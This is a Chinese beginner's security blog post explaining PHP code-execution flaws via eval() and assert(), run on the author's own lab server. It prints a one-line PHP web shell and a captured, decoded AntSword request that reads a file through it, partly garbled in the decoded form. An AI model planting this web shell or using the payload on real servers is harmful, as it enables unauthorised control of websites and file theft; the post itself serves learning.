网络安全菜鸟学习之漏洞篇——代码执行漏洞(一)

这篇文章我们来学习学习代码执行漏洞。代码执行漏洞顾名思义,是由于程序员编写程序的时候使用了一些不安全的函数所造成的。这样说不够生动,我们来学习一下就懂了。
这篇文章我们来学习eval()和assert()。
说到eval()和assert()不得不提到了一句话木马。(如下)

<?php @eval($_POST[value]);?>

我们发现一句话木马就是使用的是eval。我们知道我们可以通过蚁剑连接一句话木马,从而控制别人后台。那么我们是不是可以猜测一句话木马是这个函数照成的。因此我们来做以下的实验。
首先我们把以下代码写入一个1234.php文件,并保存到网站根目录。

<?php @eval(phpinfo());?>

在这里插入图片描述

我们访问它会发现它执行了phpinfo()。在这里插入图片描述
至此,我们知道了eval的作用是以php代码的形式执行括号里的内容。(@是消除警告,我个人感觉没用可以不写)
那么,我们是不是可以猜想蚁剑实际上就是发了一串代码,然后eval以php代码来运行它。
我们来验证一下。这里我们有两款软件可以用来抓包。(主要两个都有一定的几率抓包不成功)
首先我们打开一个名叫wsexplorer的软件。这款软件是用来抓取数据包,而我用它的主要原因是我的蚁剑进行代理的时候它总是报错。(我也不知道为啥,不过这会又好了,一会可以演示一下)
注:wsexplorer可能抓不到包,建议在win2003的虚拟机里面用管理员运行就可以了。(操作很简单,根着下图走就行了。)
在这里插入图片描述
注:这里一定不要勾。在这里插入图片描述
在这里插入图片描述
我们双击一下菜刀的进程,然后在菜刀上随便操作一下就可以抓到包了。在这里插入图片描述
双击任何一个包,就可以在下面看到它的具体内容。在这里插入图片描述
好,说完了这个叫wsexplorer的软件,我们来学习下用BurpSuite抓蚁剑的包。(BurpSuite上面的步骤已经讲过很多次了,现在就具体讲一下蚁剑上面的设置,如下图)
在这里插入图片描述
在这里插入图片描述
好,现在我们设置完成了,我们进行一个操作然后抓个包。我的操作是打开D:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-1/目录下的1.txt文件。在这里插入图片描述
我们把这个包复制下来,新建个记事本放进去好具体分析一下。
注意看这个包,前面什么都正常。就它a传的值是什么鬼?
我们把它解码一下。

a=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22cb8268829c1f%22%3Becho%20%40asenc(%24output)%3Becho%20%22b9f8b0f7611e%22%3B%7Dob_start()%3Btry%7B%24F%3Dbase64_decode(substr(%24_POST%5B%22m0c15c9d574594%22%5D%2C2))%3B%24P%3D%40fopen(%24F%2C%22r%22)%3Becho(%40fread(%24P%2Cfilesize(%24F)%3Ffilesize(%24F)%3A4096))%3B%40fclose(%24P)%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&m0c15c9d574594=B9RDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3NxbGktbGFicy1tYXN0ZXIvTGVzcy0xLzEudHh0(原代码)
a=@ini_set("display_errors", "");
@set_time_limit(0);function asenc($out){return $out;};
function asoutput()
{$output=ob_get_contents();ob_end_clean();
echo "cb8268829c1f";
echo @asenc($output);
echo "9f8b0f7611e";}
ob_start();
try{$=base64_decode(substr($_POST["m0c15c9d574594"],));
$=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);;}
catch(Exception $e)
{echo "ERROR://".$e->getMessage();};
asoutput();
die();
&m0c15c9d574594=D:/phpStudy/PHPTutorial/WWW/sqli-labs-master/Less-1/1.txt(解码后)

仔细看解码后的代码,很明显它就是我们之前猜想的利用a的值来执行一切操作。
注:substr规定了从第几位开始截取,这边抓包没显示出来,就一位一位的删。
好,eval我们算学完了,至于assert它的用法和eval一样就不讲了。(不是我偷懒,是真的一样。)
(ps:这是我写的第20篇文章了,不知不觉写了两个多月了,感谢大家的支持。还是老规矩求各位看官给点评论和关注)

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值